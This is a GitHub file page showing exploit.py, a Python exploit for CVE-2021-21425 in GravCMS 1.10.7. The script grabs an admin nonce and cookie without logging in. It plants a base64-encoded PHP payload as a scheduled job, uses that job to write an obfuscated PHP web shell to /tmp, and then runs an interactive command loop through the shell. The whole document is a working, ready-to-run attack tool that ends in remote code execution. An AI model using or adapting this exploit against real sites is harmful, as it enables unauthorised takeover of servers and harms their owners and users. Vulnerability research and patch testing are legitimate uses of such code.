-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathexploit.py
121 lines (105 loc) · 4.24 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
#!/usr/bin/env python3
# ##############################################################################################
# Exploit Title: GravCMS 1.10.7 - Arbitrary File Write (Unauthenticated) (3) #
# Original Exploit Author: Mehmet Ince #
# Vendor Homepage: https://getgrav.org #
# Version: 1.10.7 #
# Tested on: Ubuntu 20.04 #
# CVE: CVE-2021-21425 #
# Author: Bluetooth Strawberry #
# ##############################################################################################
import argparse
import requests
import urllib
import base64
import string
import random
import time
import sys
import re
import os
def web_shell(target, shell):
try:
while True:
data = {
'0': input('$ ')
}
try:
r = requests.post(f'{target}/tmp/{shell}', data=data, verify=False, allow_redirects=False)
except:
continue
print(r.text)
except KeyboardInterrupt as err:
print('bye bye mon cher ami')
def grab_nonce_and_cookie(target):
try:
r = requests.get(f'{target}/admin')
except:
return None, None
try:
# Patched system are no login using 'admin-nonce'.
# If you see a 'login-nonce' the system was patched.
nonce = re.search(r'admin-nonce" value="(.*)"',r.text).group(1)
except:
return None, None
try:
cookie = r.headers['Set-Cookie'].split(';')[0]
except:
return None, None
return nonce, cookie
def sched_cmd(target, nonce, cmd, cookie):
payload = base64.b64encode(f'/*<?php /**/\nsystem("{cmd}");'.encode()).decode()
task = ''.join(random.choices(string.hexdigits[:16], k=8))
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'Cookie': cookie
}
data = {
"admin-nonce": nonce,
"task": "SaveDefault",
f"data[custom_jobs][{task}][command]": "/usr/bin/php",
f"data[custom_jobs][{task}][args]": f"-r eval(base64_decode(\"{payload}\"));",
f"data[custom_jobs][{task}][at]": "* * * * *",
f"data[custom_jobs][{task}][output]": "",
f"data[status][{task}]": "enabled",
f"data[custom_jobs][{task}][output_mode]": "append"
}
# This is a new tricky I've learned today! (converts + into %20) much more reliable!
encoded_data = urllib.parse.urlencode(data, quote_via=urllib.parse.quote)
try:
r = requests.post(f'{target}/admin/config/scheduler', data=encoded_data, headers=headers, verify=False)
except:
return False
if 'Successfully saved' in r.text:
return True
return False
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-u', "--url")
args = parser.parse_args()
target = args.url
shell = ''.join(random.choices(string.hexdigits[:16], k=16)) + '.php'
# We should be able to write on the /tmp directory
cmd = f"echo 'PD9waHAKICAgIGVjaG8gc2hlbGxfZXhlYygkX1BPU1RbJzAnXSk7Cj8+Cg==' | base64 -d > tmp/{shell}"
# If this fails, you should check your base_dir! grav does not like extra / at the end of url!
nonce, cookie = grab_nonce_and_cookie(target)
if nonce is None:
print('Could not grab admin-nonce! is the target vulnerable?')
sys.exit(1)
# Just hope for the best here
code = sched_cmd(target, nonce, cmd, cookie)
if code == False:
print('Exploit failed! aborting!')
sys.exit(1)
# Why a web shell ?
# Well this would allow us to enumerate the target
# and understand firewall rules better before attempting a reverse shell.
# It saves time during exploitation.
c = 60
for i in range(0, 60):
os.system('clear')
print(f'Waiting {c} seconds for {target}/tmp/{shell} creation!')
time.sleep(1)
c -= 1
print('Initiating hacking session')
web_shell(target, shell)